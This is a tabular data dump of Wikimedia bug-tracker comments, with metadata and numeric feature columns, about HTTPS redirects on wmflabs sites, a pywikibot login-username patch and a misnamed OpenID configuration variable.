264697,Fix HTTPS redirect for icinga.wmflabs.org,"ganglia is out of game, updating title that redirect seems to misbehave (for me for firefox and opera)",,,1413464246,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,24.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,4.0476190476190474,0.9523809523809523,"ganglia is out of game, updating title that redirect seems to misbehave (for me for firefox and opera)"
264692,Fix HTTPS redirect for icinga.wmflabs.org,"current status:
https://icinga.wmflabs.org/
https://ganglia.wmflabs.org/
basically seems to work from ssl view
but both switch to HTTP while redirecting to the correct entry point",,,1396637458,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,18.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.7857142857142857,"current status:
URL
URL
basically seems to work from ssl view
but both switch to HTTP while redirecting to the correct entry point"
264688,Fix HTTPS redirect for icinga.wmflabs.org,Insecure content warnings on https://integration.wikimedia.org/ for images from http://ganglia.wmflabs.org/l.,,,1391727042,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,0.8888888888888888,Insecure content warnings on URL for images from URL
264681,Fix HTTPS redirect for icinga.wmflabs.org,Can we set this up via Yuvi's HTTPS proxy?,,,1391726910,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,18.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,1.0,Can we set this up via Yuvi's HTTPS proxy?
264676,Fix HTTPS redirect for icinga.wmflabs.org,"seems fixed, except that ganglia ssl is blocked by bug 60865",,,1391593710,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,"seems fixed, except that ganglia ssl is blocked by bug 60865"
56541,"When loging in to a site, try the site-configured username if any","Originally from: http://sourceforge.net/p/pywikipediabot/patches/621/
Reported by: gallaecio
Created on: 2013-08-03 20:30:54.056000
Subject: When loging in to a site, try the site-configured username if any
Original description:

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/patches/621",Needs Triage,90.0,1380061200,1610726581.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-4ziao6as6e62byuywdss,task_description,invalid,True,c3,1,True,False,False,-93,True,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,3.5285714285714285,0.5857142857142857,"Originally from: URL
Reported by: gallaecio
Created on: 2013-08-03 20:30:54.056000
Subject: When loging in to a site, try the site-configured username if any
Original description:

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
URL"
1646921,"When loging in to a site, try the site-configured username if any","Closed as invalid. See example below
```
>>> import pywikibot
>>> site = pywikibot.Site()
>>> site
APISite(""de"", ""wikipedia"")
>>> site.username()
'Xqtest'
>>> site = pywikibot.Site('meta:meta')
>>> site.username()
'Xqtools'
>>> 
```",,,1610726581,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,3,True,,,289,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.7692307692307693,"Closed as invalid. See example below
``CODE``"
892253,"When loging in to a site, try the site-configured username if any","What is the current behaviour? What username is used when pywikibot tries to log into a site? Can anyone provide a minimal example script to demonstrate the issue at hand?
",,,1499833257,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,3,False,,,105,True,0.0,3.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,9.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,4.205882352941177,0.7941176470588235,"What is the current behaviour? What username is used when pywikibot tries to log into a site? Can anyone provide a minimal example script to demonstrate the issue at hand?
"
605017,"When loging in to a site, try the site-configured username if any","Change 176482 abandoned by Gallaecio:
login: Use the site object's username if defined

[[https://gerrit.wikimedia.org/r/176482]]",,,1454761787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,3,False,,,31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.9565217391304346,0.8695652173913043,"Change 176482 abandoned by Gallaecio:
login: Use the site object's username if defined

[[GERRIT_URL]]"
334593,"When loging in to a site, try the site-configured username if any","Change 176482 had a related patch set uploaded (by John Vandenberg):
login: Use the site object’s username if defined

[[https://gerrit.wikimedia.org/r/176482]]

#patch-for-review",,,1417374437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.6486486486486487,0.8648648648648649,"Change 176482 had a related patch set uploaded (by John Vandenberg):
login: Use the site object’s username if defined

[[GERRIT_URL]]

#patch-for-review"
254560,"When loging in to a site, try the site-configured username if any","The is an interesting approach which I am guessing solves part of the 'SUL' problem.

Instead of having to add usernames['wikipedia']['*'] = '..'; usernames['wikisource']['*'] = '..'; to user-config.py etc etc for every family in the matrix of the global account.

If a account is logged into it.wp using an entry in user-config.py, and the bot visits en.wikipedia, the bot *is* logged in, as they have a unified account, and the cookie logs them in, and api.py automatically populates userinfo with the username.

That works wonderfully, and doesnt need this patch.

I am guessing this patch is about when there is a 'problem' with the existing login, which might be because of site.py tripping over itself (the login code is a mess), or maybe the server asking the account to login again.

If the password_file contains simple two-part matching entry for the username in siteinfo, the re-login will be automatic.  i.e. (bot_username, bot_password) ; not (family, username, password) or other options.

I would like to hear more about how this patch helps, but it does appear useful in limited but crucial circumstances.",,,1411028272,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,True,,,-41,True,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,3.3333333333333335,4.666666666666667,0.0,0.0,0.3333333333333333,1.0,0.0,3.3333333333333335,9.666666666666666,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,7.0,1.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,15.666666666666666,0.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,7.333333333333333,3.3333333333333335,3.0,1.6666666666666667,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.6666666666666666,0.0,2.3333333333333335,9.666666666666666,1.0,0.0,4.666666666666667,0.0,2.3333333333333335,0.0,1.3333333333333333,2.0,0.6666666666666666,2.3333333333333335,0.3333333333333333,0.0,3.3333333333333335,3.8495934959349594,0.670731707317073,"The is an interesting approach which I am guessing solves part of the 'SUL' problem.

Instead of having to add usernames['wikipedia']['*'] = '..'; usernames['wikisource']['*'] = '..'; to user-config.py etc etc for every family in the matrix of the global account.

If a account is logged into it.wp using an entry in user-config.py, and the bot visits en.wikipedia, the bot *is* logged in, as they have a unified account, and the cookie logs them in, and api.py automatically populates userinfo with the username.

That works wonderfully, and doesnt need this patch.

I am guessing this patch is about when there is a 'problem' with the existing login, which might be because of site.py tripping over itself (the login code is a mess), or maybe the server asking the account to login again.

If the password_file contains simple two-part matching entry for the username in siteinfo, the re-login will be automatic.  i.e. (bot_username, bot_password) ; not (family, username, password) or other options.

I would like to hear more about how this patch helps, but it does appear useful in limited but crucial circumstances."
254556,"When loging in to a site, try the site-configured username if any",The patch does not appear to solve anything: site.userinfo holds information about the currently logged-in user.,,,1406115108,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,False,,,-50,True,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,The patch does not appear to solve anything: site.userinfo holds information about the currently logged-in user.
254550,"When loging in to a site, try the site-configured username if any","[No attachment in Gerrit, hence resetting status and adding keyword. See https://bugzilla.wikimedia.org/describekeywords.cgi and https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle for more information.]",,,1385945717,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,5.0,4.136363636363637,0.8636363636363636,"[No attachment in Gerrit, hence resetting status and adding keyword. See URL and URL for more information.]"
254545,"When loging in to a site, try the site-configured username if any","Created attachment 13369
Copy of attachment from http://sourceforge.net/p/pywikipediabot/patches/621/attachment/login-site-username.diff

**Attached**: {F11875}",,,1380061240,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.7894736842105263,"Created attachment 13369
Copy of attachment from URL

**Attached**: {F11875}"
56506,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"Grepping through the code shows no use of this variable outside of its declaration. It certainly doesn't remove the login link.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1380039540,1380787161.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-pg6hplevt4uggtbvxhs4,task_description,resolved,True,c3,1,True,False,True,-93,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.142857142857143,0.7142857142857143,"Grepping through the code shows no use of this variable outside of its declaration. It certainly doesn't remove the login link.

--------------------------
**Version**: master
**Severity**: normal"
258234,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"http://www.mediawiki.org/wiki/Gerrit/Commit_message_guidelines :
added there ""No text must follow the bugnumber. """,,,1380811269,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.9285714285714286,"URL :
added there ""No text must follow the bugnumber. """
258224,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"(In reply to comment #5)
> solved with https://gerrit.wikimedia.org/r/#/c/87321/ (why is gerrit not
> adding this information any more ?)

Because you did not follow http://www.mediawiki.org/wiki/Gerrit/Commit_message_guidelines",,,1380810506,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.8947368421052632,"(In reply to comment #5)
QUOTE
QUOTE

Because you did not follow URL"
258216,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,solved with https://gerrit.wikimedia.org/r/#/c/87321/ (why is gerrit not adding this information any more ?),,,1380787415,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,False,,,-91,True,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,3.8666666666666667,1.0,solved with URL (why is gerrit not adding this information any more ?)
258209,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"fixed, tested, merged, closed",,,1380787161,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.7142857142857143,"fixed, tested, merged, closed"
258199,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"The bug is still a bug, it's not invalid. If the name should be $wgHideOpenIDLoginLink, then that should be listed in OpenID.php and $wgOpenIDHideOpenIDLoginLink shouldn't be. And if the name should be $wgOpenIDHideOpenIDLoginLink, then $wgHideOpenIDLoginLink needs to be replaced in the code and the documentation.",,,1380208123,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,7.0,4.0,5.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.754385964912281,0.5789473684210527,"The bug is still a bug, it's not invalid. If the name should be $wgHideOpenIDLoginLink, then that should be listed in OpenID.php and $wgOpenIDHideOpenIDLoginLink shouldn't be. And if the name should be $wgOpenIDHideOpenIDLoginLink, then $wgHideOpenIDLoginLink needs to be replaced in the code and the documentation."
258193,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"Thanks for reporting.

All OpenID parameter names should have the form $wgOpenID...... 

It appears, that the renaming of this specific variable has been overlooked in the past. I will fix this begin of October.

Sorry for the inconvenience.",,,1380173514,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,False,,,-92,True,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,15.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.291666666666667,0.7708333333333334,"Thanks for reporting.

All OpenID parameter names should have the form $wgOpenID...... 

It appears, that the renaming of this specific variable has been overlooked in the past. I will fix this begin of October.

Sorry for the inconvenience."
258187,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,It looks like the name was changed to $wgHideOpenIDLoginLink. Setting $wgHideOpenIDLoginLink=true hides the link correctly. https://www.mediawiki.org/wiki/Extension:OpenID#Configuration references the correct name.,,,1380152673,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.074074074074074,0.7407407407407407,It looks like the name was changed to $wgHideOpenIDLoginLink. Setting $wgHideOpenIDLoginLink=true hides the link correctly. URL references the correct name.
56192,HTTPS for parsoid.wmflabs.org,"Please enable HTTPS on parsoid.wmflabs.org. Unsure if it needs it's own certificate or if there is one for *.wmflabs.org.

It recently had CORS enabled so users can write custom scripts to access parsoid, however they'll face mixed content blocking issues since HTTPS doesn't work yet.

--------------------------
**Version**: unspecified
**Severity**: normal
